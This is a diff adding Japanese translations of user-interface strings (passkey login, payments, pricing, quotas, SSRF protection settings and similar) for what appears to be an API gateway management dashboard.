+    "Passkey Login": "Passkeyログイン",
+    "Passkey login failed": "パスキーログインに失敗しました",
+    "Passkey login was cancelled": "パスキーログインがキャンセルされました",
+    "Passkey login was cancelled or timed out": "パスキーログインがキャンセルまたはタイムアウトされました",
+    "Passkey not supported on this device": "このデバイスではパスキーはサポートされていません",
+    "Passkey registered successfully": "パスキーが正常に登録されました",
+    "Passkey registration was cancelled": "パスキーの登録がキャンセルされました",
+    "Passkey removed successfully": "パスキーが正常に削除されました",
+    "Passkey reset successfully": "パスキーが正常にリセットされました",
+    "Password": "パスワード",
+    "Password / Access Token": "パスワード / アクセストークン",
+    "Password changed successfully": "パスワードが正常に変更されました",
+    "Password copied to clipboard: {{password}}": "パスワードがクリップボードにコピーされました：{{password}}",
+    "Password has been copied to clipboard": "パスワードがクリップボードにコピーされました",
+    "Password Login": "パスワードログイン",
+    "Password must be at least 8 characters": "パスワードは少なくとも8文字である必要があります",
+    "Password must be at least 8 characters long": "パスワードは8文字以上である必要があります",
+    "Password Registration": "パスワード登録",
+    "Password reset and copied to clipboard: {{password}}": "パスワードがリセットされ、クリップボードにコピーされました：{{password}}",
+    "Password reset: {{password}}": "パスワードがリセットされました：{{password}}",
+    "Passwords do not match": "パスワードが一致しません",
+    "Paste the full callback URL (includes code & state)": "コールバックURL全体を貼り付け（code と state を含む）",
+    "Path": "パス",
+    "Path Regex (one per line)": "パス正規表現（1行に1つ）",
+    "Path:": "パス：",
+    "Pay": "Pay",
+    "Pay-as-you-go with real-time usage monitoring": "リアルタイム使用量監視付き従量課金制",
+    "Payment Channel": "決済チャネル",
+    "Payment Gateway": "決済ゲートウェイ",
+    "Payment initiated": "支払いが開始されました",
+    "Payment Method": "チャージ方法",
+    "Payment method name": "決済方法名",
+    "Payment method name is required": "決済方法名は必須です",
+    "Payment method type": "決済方法タイプ",
+    "Payment method type is required": "支払い方法のタイプは必須です",
+    "Payment methods": "支払方法",
+    "Payment Methods": "決済方法",
+    "Payment page opened": "決済ページが開きました",
+    "Payment request failed": "支払いリクエストが失敗しました",
+    "Payment return URL": "決済完了後のリダイレクトURL",
+    "Pending": "保留中",
+    "per": "あたり",
+    "Per 1K tokens": "1Kトークンあたり",
+    "Per 1M tokens": "1Mトークンあたり",
+    "per request": "リクエストごと",
+    "Per request": "リクエストごと",
+    "Per Request": "リクエストごと",
+    "Per-call": "呼び出しごと",
+    "Per-feature metered windows split by model or capability.": "機能ごとの従量制ウィンドウ。モデルまたは能力別に分かれます。",
+    "Per-request (fixed price)": "リクエストごと (固定価格)",
+    "Per-token": "トークン単位",
+    "Per-token (ratio based)": "トークンごと (比率ベース)",
+    "Percentage:": "パーセンテージ:",
+    "Performance": "パフォーマンス",
+    "Performance Monitor": "パフォーマンス監視",
+    "Performance Settings": "パフォーマンス設定",
+    "Periodically check for upstream model changes": "アップストリームモデルの変更を定期的にチェック",
+    "Periodically send ping frames to keep streaming connections active.": "ストリーミング接続をアクティブに保つために、定期的にpingフレームを送信します。",
+    "Permanently delete your account and all data": "アカウントとすべてのデータを永久に削除",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "非HTTPSオリジンでのパスキー登録を許可する（開発でのみ推奨）",
+    "Perplexity": "Perplexity",
+    "Persist your data file": "データファイルを永続化する",
+    "Personal area": "個人エリア",
+    "Personal Center Area": "パーソナルセンターエリア",
+    "Personal info settings": "個人情報設定",
+    "Personal Settings": "個人設定",
+    "Personal settings and profile management.": "個人設定とプロフィール管理。",
+    "Personal use": "個人利用",
+    "Personal use mode": "個人利用モード",
+    "Pick a date": "日付を選択",
+    "Ping Interval (seconds)": "Ping間隔（秒）",
+    "Plan": "プラン",
+    "Plan Name": "プラン名",
+    "Plan Subtitle": "プランサブタイトル",
+    "Plan Title": "プラン名",
+    "Planned maintenance on Friday at 22:00 UTC...": "金曜日 22:00 UTC に計画メンテナンスがあります...",
+    "Platform": "プラットフォーム",
+    "Playground": "プレイグラウンド",
+    "Playground and chat functions": "プレイグラウンドとチャット機能",
+    "Playground experiments and live conversations.": "Playgroundの実験とライブ会話。",
+    "Please agree to the legal terms first": "先に利用規約に同意してください",
+    "Please complete the security check to continue.": "続行するにはセキュリティチェックを完了してください。",
+    "Please confirm that you understand the consequences": "結果を理解したことを確認してください",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "システム設定で io.net モデルデプロイサービスを有効にし、API キーを設定してください。",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "続行する前に、二要素認証またはパスキーを有効にしてください",
+    "Please enter a name": "名前を入力してください",
+    "Please enter a new password": "新しいパスワードを入力してください",
+    "Please enter a redemption code": "引き換えコードを入力してください",
+    "Please enter a valid duration": "有効な期間を入力してください",
+    "Please enter a valid email address": "有効なメールアドレスを入力してください",
+    "Please enter a valid number": "有効な数値を入力してください",
+    "Please enter a Well-Known URL first": "まずWell-Known URLを入力してください",
+    "Please enter amount": "金額を入力してください",
+    "Please enter an administrator username": "管理者ユーザー名を入力してください",
+    "Please enter API key first": "まずAPIキーを入力してください",
+    "Please enter chat client name": "チャットクライアント名を入力してください",
+    "Please enter email and verification code": "メールアドレスと認証コードを入力してください",
+    "Please enter keys first": "まずキーを入力してください",
+    "Please enter model name": "サブモデルを入力してください",
+    "Please enter plan title": "プラン名を入力してください",
+    "Please enter the authentication code.": "認証コードを入力してください。",
+    "Please enter the URL": "URLを入力してください",
+    "Please enter the verification code": "確認コードを入力してください",
+    "Please enter your current password": "現在のパスワードを入力してください",
+    "Please enter your email": "メールアドレスを入力してください",
+    "Please enter your email first": "まずメールアドレスを入力してください",
+    "Please enter your verification code": "認証コードを入力してください",
+    "Please enter your verification code or backup code": "認証コードまたはバックアップコードを入力してください",
+    "Please fix JSON errors before saving": "保存する前に JSON エラーを直してください",
+    "Please log in with the appropriate credentials": "適切な認証情報でログインしてください",
+    "Please manually copy and open the authorization link": "認証リンクを手動でコピーして開いてください",
+    "Please select a container": "コンテナを選択してください",
+    "Please select a payment method": "お支払い方法を選択してください",
+    "Please select a primary model": "プライマリモデルを選択してください",
+    "Please select a subscription plan": "サブスクリプションプランを選択してください",
+    "Please select at least one channel": "少なくとも1つのチャンネルを選択してください",
+    "Please select at least one model": "少なくとも1つのモデルを選択してください",
+    "Please select items to delete": "削除する項目を選択してください",
+    "Please Select user groups that can access this channel.": "このチャネルにアクセスできるユーザーグループを選択してください。",
+    "Please set Ollama API Base URL first": "最初にOllama APIベースURLを設定してください",
+    "Please try again later.": "後でもう一度お試しください。",
+    "Please upload key file(s)": "キーファイルをアップロードしてください",
+    "Please wait a moment, human check is initializing...": "しばらくお待ちください、人間チェックを初期化中です...",
+    "Policy JSON": "ポリシーJSON",
+    "Polling": "ポーリング",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "ポーリングモードにはRedisとメモリキャッシュが必要です。そうでない場合、パフォーマンスが大幅に低下します",
+    "Poor": "悪い",
+    "Port": "ポート",
+    "Port must be a positive integer": "ポートは正の整数でなければなりません",
+    "Post Delta": "事後差額",
+    "PostgreSQL detected": "PostgreSQLが検出されました",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL は本番ワークロード向けの高度な信頼性とデータ整合性を提供します。",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQLは強力な信頼性保証を提供します。本番稼働する前に、メンテナンスウィンドウと保持ポリシーを再確認してください。",
+    "Powerful API Management Platform": "強力なAPI管理プラットフォーム",
+    "Pre-Consume for Free Models": "無料モデルの事前消費",
+    "Pre-consumed": "事前消費",
+    "Pre-Consumed Quota": "事前消費クォータ",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "設定は{{pref}}として保存されましたが、アクティブなサブスクリプションがありません。ウォレットが自動的に使用されます。",
+    "Preferences": "環境設定",
+    "Prefill Group Management": "プリフィルグループ管理",
+    "Prefill Groups": "プリフィルグループ",
+    "Prefill groups help you keep complex configurations in sync.": "プリフィルグループは、複雑な設定を同期させるのに役立ちます。",
+    "Prefix": "プレフィックス",
+    "Prefix Match": "プレフィックス一致",
+    "Prefix used when displaying prices": "価格表示に使用されるプレフィックス",
+    "Premium chat models": "プレミアムチャットモデル",
+    "Preparing chat keys…": "チャットキーを準備中…",
+    "Preparing your chat link, please try again in a moment.": "チャットリンクを準備中です。しばらくお待ちになってから再度お試しください。",
+    "Preparing your chat link…": "チャットリンクを準備中…",
+    "Prepend": "先頭に追加",
+    "Preset recharge amounts (JSON array)": "プリセットチャージ金額 (JSON配列)",
+    "Preset recharge amounts displayed to users": "ユーザーに表示されるプリセットチャージ金額",
+    "Preset Template": "プリセットテンプレート",
+    "Preset templates": "プリセットのテンプレート",
+    "Press Enter or comma to add tags": "Enterキーまたはコンマを押してタグを追加",
+    "Press Enter to use \"{{value}}\"": "Enter キーを押して「{{value}}」を使用",
+    "Prevent server-side request forgery attacks": "サーバーサイドリクエストフォージェリ攻撃を防ぐ",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "アウトバウンドリクエストを制御することで、サーバーサイドリクエストフォージェリ攻撃を防ぎます。",
+    "Preview": "プレビュー",
+    "Previous": "前へ",
+    "Previous branch": "前のブランチ",
+    "Previous page": "前のページ",
+    "Price": "価格",
+    "Price ($/1K calls)": "価格（$/1K 回）",
+    "Price (local currency / USD)": "価格 (現地通貨 / USD)",
+    "Price display": "価格表示",
+    "Price display mode": "価格表示モード",
+    "Price estimation": "料金見積もり",
+    "Price estimation description": "ハードウェアタイプ、デプロイ場所、レプリカ数などを設定すると、料金が自動的に計算されます。",
+    "Price ID": "価格 ID",
+    "Price mode (USD per 1M tokens)": "価格モード (100万トークンあたりのUSD)",
+    "price_xxx": "price_xxx",
+    "Price:": "価格：",
+    "Price: High to Low": "価格：高い順",
+    "Price: Low to High": "価格：低い順",
+    "Prices shown per": "価格表示単位",
+    "Prices synced successfully": "価格が正常に同期されました",
+    "Prices vary by usage tier and request conditions": "価格は利用ティアとリクエスト条件で変動します",
+    "Pricing": "価格設定",
+    "Pricing & Display": "価格設定と表示",
+    "Pricing by Group": "グループ別価格設定",
+    "Pricing Configuration": "価格設定",
+    "Pricing mode": "価格モード",
+    "Pricing Ratios": "価格比率",
+    "Pricing Type": "価格タイプ",
+    "Primary Model": "プライマリモデル",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "リクエストコンテキストから抽出したキーに基づいて、前回成功したチャネルを優先的に再利用します（スティッキールーティング）",
+    "Priority": "優先度",
+    "Priority (Default)": "優先度 (デフォルト)",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "優先度レベル (0が最低、10が最高、デフォルトは5)",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "自動グループ割り当ての優先順位。新しいトークンはこのリストをローテーションします。",
+    "Privacy Policy": "プライバシーポリシー",
+    "Private Deployment URL": "プライベートデプロイメントURL",
+    "Processing OAuth response...": "OAuth応答を処理中...",
+    "Processing...": "処理中...",
+    "Product": "商品",
+    "Product ID": "商品 ID",
+    "Product ID is required": "プロダクト ID は必須です",
+    "Product Name": "商品名",
+    "Products": "商品",
+    "Professional team providing 24/7 technical support": "24時間年中無休のテクニカルサポートを提供するプロフェッショナルチーム",
+    "Profile": "プロフィール",
+    "Profile updated successfully": "プロフィールが正常に更新されました",
+    "Progress": "進捗",
+    "Project": "プロジェクト",
+    "Promote": "昇格",
+    "Promotion codes": "プロモーションコード",
+    "Prompt": "プロンプト",
+    "Prompt (EN)": "プロンプト（英語）",
+    "Prompt cache ratio": "プロンプトキャッシュ倍率",
+    "Prompt Caching": "プロンプトキャッシング",
+    "Prompt Details": "プロンプトの詳細",
+    "Prompt price ($/1M tokens)": "プロンプト価格 (100万トークンあたり$)",
+    "Protect login and registration with Cloudflare Turnstile": "Cloudflare Turnstileでログインと登録を保護する",
+    "Provide a JSON object where each key maps to an endpoint definition.": "各キーがエンドポイント定義にマップされる JSON オブジェクトを提供してください。",
+    "Provide a valid URL starting with http:// or https://": "http:// または https:// で始まる有効な URL を入力してください",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "プライバシーポリシーにMarkdown、HTML、または外部URLを提供する",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "ユーザー同意書にMarkdown、HTML、または外部URLを提供する",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "カテゴリごとの安全オーバーライドをJSONとして提供します。フォールバック値には`default`を使用してください。",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "モデルごとのヘッダーオーバーライドをJSONとして提供します。拡張コンテキストウィンドウなどのベータ機能を有効にするのに役立ちます。",
+    "Provider": "プロバイダ",
+    "Provider created successfully": "プロバイダーの作成に成功しました",
+    "Provider deleted successfully": "プロバイダーの削除に成功しました",
+    "Provider Name": "プロバイダー名",
+    "Provider type (OpenAI, Anthropic, etc.)": "プロバイダタイプ (OpenAI, Anthropic など)",
+    "Provider updated successfully": "プロバイダーが正常に更新されました",
+    "Proxy Address": "プロキシアドレス",
+    "Publish Date": "公開日",
+    "Published": "公開済み",
+    "Published:": "公開済み:",
+    "Pull": "プル",
+    "Pull model": "モデルをプル",
+    "Pulling...": "プル中...",
+    "Purchase a plan to enjoy model benefits": "プランを購入してモデルの特典を享受",
+    "Purchase here": "ここで購入",
+    "Purchase Limit": "購入上限",
+    "Purchase limit reached": "購入上限に達しました",
+    "Purchase Subscription": "サブスクリプションを購入",
+    "QR Code Image URL": "QRコード画像URL",
+    "QR code is not configured. Please contact support.": "QRコードが設定されていません。サポートにお問い合わせください。",
+    "Quantity": "数量",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "クエリ残高",
+    "Query Param": "クエリパラメータ",
+    "Querying...": "クエリ中...",
+    "Question": "質問",
+    "Queued": "キュー中",
+    "Quick insert common payment methods": "一般的な支払い方法をすばやく挿入",
+    "Quick Range": "クイック範囲",
+    "Quick Setup from Preset": "プリセットからクイックセットアップ",
+    "Quota": "クォータ",
+    "Quota ({{currency}})": "クォータ ({{currency}})",
+    "Quota adjusted successfully": "クォータの調整に成功しました",
+    "Quota consumed before charging users": "ユーザーに請求する前に消費されるクォータ",
+    "Quota Distribution": "クォータの分配",
+    "Quota given to invited users": "招待されたユーザーに付与されるクォータ",
+    "Quota given to users who invite others": "他のユーザーを招待したユーザーに付与されるクォータ",
+    "Quota must be a positive number": "クォータは正の数である必要があります",
+    "Quota Per Unit": "ユニットあたりのクォータ",
+    "Quota reminder (tokens)": "クォータリマインダー (トークン)",
+    "Quota Reset": "クォータリセット",
+    "Quota Settings": "クォータ設定",
+    "Quota Types": "クォータタイプ",
+    "Quota Warning Threshold": "クォータ警告しきい値",
+    "Quota:": "クォータ：",
+    "Random": "ランダム",
+    "Randomly select a key from the pool for each request": "各リクエストごとにプールからランダムにキーを選択",
+    "Rate Limit Windows": "レート制限ウィンドウ",
+    "Rate Limiting": "レート制限",
+    "Ratio": "倍率",
+    "Ratio applied to audio completions for streaming models.": "ストリーミングモデルの音声補完に適用される比率。",
+    "Ratio applied to audio inputs where supported by the upstream model.": "アップストリームモデルでサポートされている場合の音声入力に適用される比率。",
+    "Ratio applied when creating cache entries for supported models.": "サポートされているモデルのキャッシュエントリ作成時に適用される倍率",
+    "Ratio mode": "比率モード",
+    "Ratio Type": "比率タイプ",
+    "Ratio: {{value}}": "倍率：{{value}}",
+    "Ratios synced successfully": "比率が正常に同期されました",
+    "Raw JSON": "生 JSON",
+    "Raw Quota": "元のクォータ",
+    "Re-enable on success": "成功時に再有効化",
+    "Re-login": "再ログイン",
+    "Ready to initialize": "初期化準備完了",
+    "Ready to simplify": "シンプルにする準備は",
+    "Real exchange rate between USD and your payment gateway currency": "USDと決済ゲートウェイ通貨の間の実質為替レート",
+    "Reason": "理由",
+    "Reason:": "理由：",
+    "Reasoning": "理由",
+    "Reasoning Effort": "推論強度",
+    "Receive Upstream Model Update Notifications": "アップストリームモデル更新通知を受け取る",
+    "Received": "受信済み",
+    "Recharge": "チャージ",
+    "Recharge Amount": "チャージ額",
+    "Recharge Amount (USD)": "チャージ額 (USD)",
+    "Recommended": "推奨",
+    "Recommended to keep this high to avoid upstream throttling.": "アップストリームのスロットリングを避けるため、これを高く保つことを推奨します。",
+    "Record IP Address": "IPアドレスを記録",
+    "Record quota usage": "クォータ使用量を記録",
+    "Redeem": "引き換え",
+    "Redeem codes": "コードを交換",
+    "Redeemed By": "引き換え元",
+    "Redeemed:": "引き換え済み:",
+    "redemption code": "引き換えコード",
+    "Redemption Code": "引き換えコード",
+    "Redemption code deleted successfully": "引き換えコードを正常に削除しました",
+    "Redemption code disabled successfully": "引き換えコードを正常に無効にしました",
+    "Redemption code enabled successfully": "引き換えコードを正常に有効にしました",
+    "Redemption code updated successfully": "引き換えコードを正常に更新しました",
+    "Redemption code(s) created successfully": "引き換えコードが正常に作成されました",
+    "Redemption Codes": "引き換えコード",
+    "redemption codes.": "引き換えコード。",
+    "Redemption failed": "交換に失敗しました",
+    "Redemption successful! Added: {{quota}}": "引き換え成功！追加：{{quota}}",
+    "Redirecting to chat page...": "チャットページにリダイレクト中...",
+    "Redirecting to Creem checkout...": "Creemチェックアウトにリダイレクト中...",
+    "Redirecting to GitHub...": "GitHub にリダイレクトしています...",
+    "Redirecting to payment page...": "支払いページにリダイレクト中...",
+    "Reference Video": "参照動画",
+    "Referral link:": "紹介リンク:",
+    "Referral Program": "紹介プログラム",
+    "Refresh": "更新",
+    "Refresh Cache": "キャッシュ更新",
+    "Refresh credential": "認証情報を更新",
+    "Refresh failed": "更新に失敗しました",
+    "Refresh interval (minutes)": "更新間隔 (分)",
+    "Refresh Stats": "統計を更新",
+    "Refreshing...": "更新中...",
+    "Refund": "返金",
+    "Refund Details": "返金詳細",
+    "Regenerate": "再生成",
+    "Regenerate Backup Codes": "バックアップコードを再生成",
+    "Regex Replace": "正規表現置換",
+    "Register Passkey": "Passkeyの登録",
+    "Registration Enabled": "登録が有効",
+    "Registry (optional)": "レジストリ (オプション)",
+    "Registry secret": "レジストリ シークレット",
+    "Registry username": "レジストリ ユーザー名",
+    "Reject Reason": "拒否理由",
+    "Release details": "リリース詳細",
+    "Relying Party Display Name": "依拠当事者表示名",
+    "Relying Party ID": "依拠当事者ID",
+    "Remaining": "残り",
+    "Remaining quota": "残りクォータ",
+    "Remaining Quota ({{currency}})": "残りのクォータ ({{currency}})",
+    "Remaining quota units": "残りクォータ単位",
+    "Remaining:": "残り:",
+    "Remark": "備考",
+    "Remove": "削除",
+    "Remove ${{amount}}": "${{amount}}を削除",
+    "Remove all log entries created before the selected timestamp.": "選択したタイムスタンプより前に作成されたすべてのログエントリを削除します。",
+    "Remove attachment": "添付ファイルを削除",
+    "Remove condition": "条件を削除",
+    "Remove Duplicates": "重複を削除",
+    "Remove filter": "フィルターを削除",
+    "Remove functionResponse.id field": "functionResponse.id フィールドを削除",
+    "Remove Models": "モデルを削除",
+    "Remove Passkey": "Passkey連携解除",
+    "Remove Passkey?": "Passkeyを削除しますか？",
+    "Remove rule group": "ルールグループを削除",
+    "Remove tier": "ティアを削除",
+    "Removed": "削除済み",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "{{removed}} 個の重複キーを削除しました。削除前：{{before}}、削除後：{{after}}",
+    "Removed Models ({{count}})": "削除済みモデル ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "ユーザー プロンプトから --fast、--relax、--turbo などの Midjourney フラグを削除します。",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "Passkeyを削除すると、次回からパスワードでサインインする必要があります。いつでも再登録できます。",
+    "Rename": "名前変更",
+    "Rename deployment": "デプロイメントの名前を変更",
+    "Rename failed": "名前変更に失敗しました",
+    "Renamed successfully": "名前が正常に変更されました",
+    "Repeat the administrator password": "管理者パスワードの再入力",
+    "Replace": "置換",
+    "Replace all existing keys": "既存のすべてのキーを置き換える",
+    "Replace channel models": "チャネルモデルを置き換える",
+    "Replace mode: Will completely replace all existing keys": "置換モード: 既存のすべてのキーを完全に置き換えます",
+    "replaced": "置換済み",
+    "Replacement Model": "代替モデル",
+    "Replica count": "レプリカ数",
+    "Replicate": "Replicate",
+    "request": "リクエスト",
+    "Request": "リクエスト",
+    "Request Body Disk Cache": "リクエストボディのディスクキャッシュ",
+    "Request Body Memory Cache": "リクエストボディのメモリキャッシュ",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "リクエストボディのパススルーが有効です。リクエストボディは変換なしで直接アップストリームに送信されます。",
+    "Request conversion": "リクエスト変換",
+    "Request Conversion": "リクエスト変換",
+    "Request Count": "リクエスト数",
+    "Request failed": "リクエスト失敗",
+    "Request flow": "リクエストフロー",
+    "Request Header Overrides": "リクエストヘッダーの上書き",
+    "Request ID": "リクエストID",
+    "Request Limits": "リクエスト制限",
+    "Request Model": "リクエストモデル",
+    "Request Model:": "リクエストモデル：",
+    "Request rule pricing": "リクエストルールの課金",
+    "Request timed out, please refresh and restart GitHub login": "タイムアウトしました。ページをリロードして GitHub ログインをやり直してください",
+    "Request-based": "リクエスト条件あり",
+    "Requests per minute": "1分あたりのリクエスト数",
+    "requests served": "処理されたリクエスト",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "リクエストはこのワーカーに転送されます。末尾のスラッシュは自動的に削除されます。",
+    "Requests:": "リクエスト:",
+    "Require email verification for new accounts": "新しいアカウントにメール認証を要求する",
+    "Require job success before follow-up actions": "フォローアップ アクション前にジョブの成功を要求",
+    "Require login to view models": "モデルを表示するにはログインを要求する",
+    "Required": "必須",
+    "Required events:": "必須イベント:",
+    "Required to expose Midjourney-style image generation to end users.": "エンドユーザーに Midjourney スタイルの画像生成を公開するために必要です。",
+    "Rerank": "再ランク付け",
+    "Reroll": "やり直し",
+    "Resend ({{seconds}}s)": "再送信 ({{seconds}}秒)",
+    "Reset": "リセット",
+    "Reset 2FA": "2FAをリセット",
+    "Reset all model ratios?": "すべてのモデル比率をリセットしますか？",
+    "Reset all settings to default values": "すべての設定をデフォルト値にリセット",
+    "Reset at:": "リセット日時：",
+    "Reset balance and used quota": "残高と使用済みクォータをリセット",
+    "Reset Cycle": "リセット周期",
+    "Reset email sent, please check your inbox": "リセットメールを送信しました、受信箱を確認してください",
+    "Reset failed": "リセット失敗",
+    "Reset Passkey": "Passkeyリセット",
+    "Reset password": "パスワードをリセット",
+    "Reset Period": "リセット期間",
+    "Reset ratios": "比率をリセット",
+    "Reset Stats": "統計をリセット",
+    "Reset to default": "デフォルトにリセット",
+    "Reset to Default": "デフォルトにリセット",
+    "Reset to default configuration": "デフォルト設定にリセットしました",
+    "Reset Two-Factor Authentication": "2要素認証のリセット",
+    "Resets in:": "リセットまで：",
+    "Resolve Conflicts": "競合を解決",
+    "Resource Configuration": "リソース設定",
+    "Response": "レスポンス",
+    "Response Time": "応答時間",
+    "Responses API Version": "応答APIバージョン",
+    "Restore defaults": "既定に戻す",
+    "Restrict user model request frequency (may impact high concurrency performance)": "ユーザーモデルのリクエスト頻度を制限する（高並行性パフォーマンスに影響を与える可能性があります）",
+    "Retain last N days": "最新N日間を保持",
+    "Retain last N files": "最新N個のファイルを保持",
+    "Retry": "再試行",
+    "Retry Chain": "リトライチェーン",
+    "Retry Times": "再試行回数",
+    "Return Error": "エラーを返す",
+    "Return to dashboard": "ダッシュボードに戻る",
+    "Reveal API key": "APIキーを表示",
+    "Reveal key": "キーを表示",
+    "Revenue": "収益",
+    "Review & initialize": "確認して初期化",
+    "Review current version and fetch release notes.": "現在のバージョンを確認し、リリースノートを取得します。",
+    "Review your payment details": "支払い詳細を確認",
+    "Review your purchase details before proceeding.": "続行前に購入詳細を確認してください。",
+    "Rewards will be added directly to your balance": "報酬は直接残高に追加されます",
+    "Rewrite callback URLs to the local server": "コールバック URL をローカルサーバーに書き換え",
+    "Role": "ロール",
+    "Root": "ルート",
+    "Route": "ルート",
+    "Route Description": "ルートの説明",
+    "Route is required": "ルートは必須です",
+    "Rows per page": "ページあたりの行数",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "RSA秘密鍵（本番）",
+    "RSA Private Key (Sandbox)": "RSA秘密鍵（サンドボックス）",
+    "Rule": "ルール",
+    "Rule group": "ルールグループ",
+    "rules": "ルール",
+    "Rules JSON": "ルール JSON",
+    "Rules JSON must be an array": "ルール JSON は配列である必要があります",
+    "Run GC": "GC 実行",
+    "Run tests for the selected models": "選択したモデルのテストを実行",
+    "Running": "実行中",
+    "s": "s",
+    "Safety Settings": "安全設定",
+    "Same as Local": "ローカルと同じ",
+    "Sandbox mode": "サンドボックスモード",
+    "Save": "保存",
+    "Save all settings": "すべての設定を保存",
+    "Save Backup Codes": "バックアップコードを保存",
+    "Save changes": "変更を保存",
+    "Save Changes": "変更を保存",
+    "Save chat settings": "チャット設定を保存",
+    "Save check-in settings": "チェックイン設定を保存",
+    "Save Creem settings": "Creem設定を保存",
+    "Save drawing settings": "描画設定を保存",
+    "Save Epay settings": "Epay設定を保存",
+    "Save failed": "保存に失敗しました",
+    "Save failed, please retry": "保存に失敗しました。もう一度お試しください",
+    "Save general settings": "一般設定を保存",
+    "Save group ratios": "グループ比率を保存",
+    "Save io.net settings": "io.net設定を保存",
+    "Save log settings": "ログ設定を保存",
+    "Save model ratios": "モデル比率を保存",
+    "Save Models": "モデルを保存",
+    "Save monitoring rules": "監視ルールを保存",
+    "Save navigation": "ナビゲーションを保存",
+    "Save notice": "通知を保存",
+    "Save rate limits": "レート制限を保存",
+    "Save sensitive words": "敏感な言葉を保存",
+    "Save Settings": "設定を保存",
+    "Save sidebar modules": "サイドバーモジュールを保存",
+    "Save SMTP settings": "SMTP設定を保存",
+    "Save SSRF settings": "SSRF 設定を保存",
+    "Save Stripe settings": "Stripe設定を保存",
+    "Save these backup codes in a safe place. Each code can only be used once.": "これらのバックアップコードを安全な場所に保存してください。各コードは一度だけ使用できます。",
+    "Save these codes in a safe place. Each code can only be used once.": "これらのコードを安全な場所に保存してください。各コードは一度だけ使用できます。",
+    "Save tool prices": "ツール価格を保存",
+    "Save Waffo Pancake settings": "Waffo Pancake 設定を保存",
+    "Save Worker settings": "Worker設定を保存",
+    "Saved successfully": "保存しました",
+    "Saving...": "保存中...",
+    "Scan QR Code": "QRコードをスキャン",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "公式アカウントのQRコードを読み取り、「验证码」と返信して認証コードを受け取ってください。",
+    "Scan the QR code with WeChat to bind your account": "WeChatでQRコードをスキャンしてアカウントをバインド",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "このQRコードを認証アプリ（Google Authenticator、Microsoft Authenticatorなど）でスキャンしてください。",
+    "Scheduled channel tests": "スケジュールされたチャネルテスト",
+    "Scope": "スコープ",
+    "Scopes": "スコープ",
+    "Search": "検索",
+    "Search by name or URL...": "名前またはURLで検索...",
+    "Search by order number...": "注文番号で検索...",
+    "Search chat presets...": "チャットプリセットを検索...",
+    "Search colors...": "色を検索...",
+    "Search conflicting models or fields": "競合するモデルまたはフィールドを検索",
+    "Search deployments...": "デプロイを検索...",
+    "Search feature in development": "検索機能は開発中です",
+    "Search group names...": "グループ名を検索...",
+    "Search groups...": "グループを検索...",
+    "Search missing models": "不足しているモデルを検索",
+    "Search model name...": "モデル名を検索...",
+    "Search models": "モデルを検索",
+    "Search models or fields...": "モデルまたはフィールドを検索...",
+    "Search models...": "モデル名で検索...",
+    "Search payment methods...": "支払い方法を検索...",
+    "Search payment types...": "支払いタイプを検索...",
+    "Search products...": "商品を検索...",
+    "Search tags...": "タグを検索...",
+    "Search vendors...": "ベンダーを検索...",
+    "Search...": "検索...",
+    "seconds": "秒",
+    "Secret env (JSON object)": "シークレット env (JSON オブジェクト)",
+    "Secret environment variables (JSON)": "シークレット環境変数（JSON）",
+    "Secret Key": "シークレットキー",
+    "Secure & Reliable": "セキュア＆信頼性",
+    "Security": "セキュリティ",
+    "Security Check": "セキュリティチェック",
+    "Security verification": "セキュリティ確認",
+    "Select": "選択",
+    "Select a color": "色を選択",
+    "Select a group": "グループを選択",
+    "Select a group type": "グループタイプを選択",
+    "Select a preset...": "プリセットを選択...",
+    "Select a role": "ロールを選択",
+    "Select a timestamp before clearing logs.": "ログをクリアする前にタイムスタンプを選択してください。",
+    "Select a usage mode to continue": "続行するには使用モードを選択してください",
+    "Select a verification method first": "まず検証方法を選択してください",
+    "Select all": "すべて選択",
+    "Select all (filtered)": "フィルタ結果をすべて選択(S)",
+    "Select all models": "すべてのモデルを選択",
+    "Select All Visible": "表示中のすべてを選択",
+    "Select an operation mode and enter the amount": "操作モードを選択し、金額を入力してください",
+    "Select announcement type": "アナウンスメントタイプを選択",
+    "Select at least one field to overwrite.": "上書きするフィールドを少なくとも 1 つ選択してください。",
+    "Select channel type": "チャネルタイプを選択",
+    "Select currency": "通貨を選択",
+    "Select date": "日付を選択",
+    "Select display mode": "表示モードを選択",
+    "Select end time": "終了時間を選択",
+    "Select from presets or type custom identifier.": "プリセットから選択するか、カスタム識別子を入力してください。",
+    "Select granularity": "粒度を選択",
+    "Select groups (leave empty to keep current)": "グループを選択 (現在の設定を維持するには空のままにしてください)",
+    "Select items...": "項目を選択...",
+    "Select key format": "キーフォーマットを選択",
+    "Select Language": "言語を選択",
+    "Select layout style": "レイアウトスタイルを選択",
+    "Select locations": "ロケーションを選択",
+    "Select Model": "モデルを選択",
+    "Select models (empty for allow all)": "モデルを選択 (すべて許可する場合は空)",
+    "Select models and apply to channel models list.": "モデルを選択し、チャンネルモデルリストに適用します。",
+    "Select models or add custom ones": "モデルを選択するか、カスタムモデルを追加",
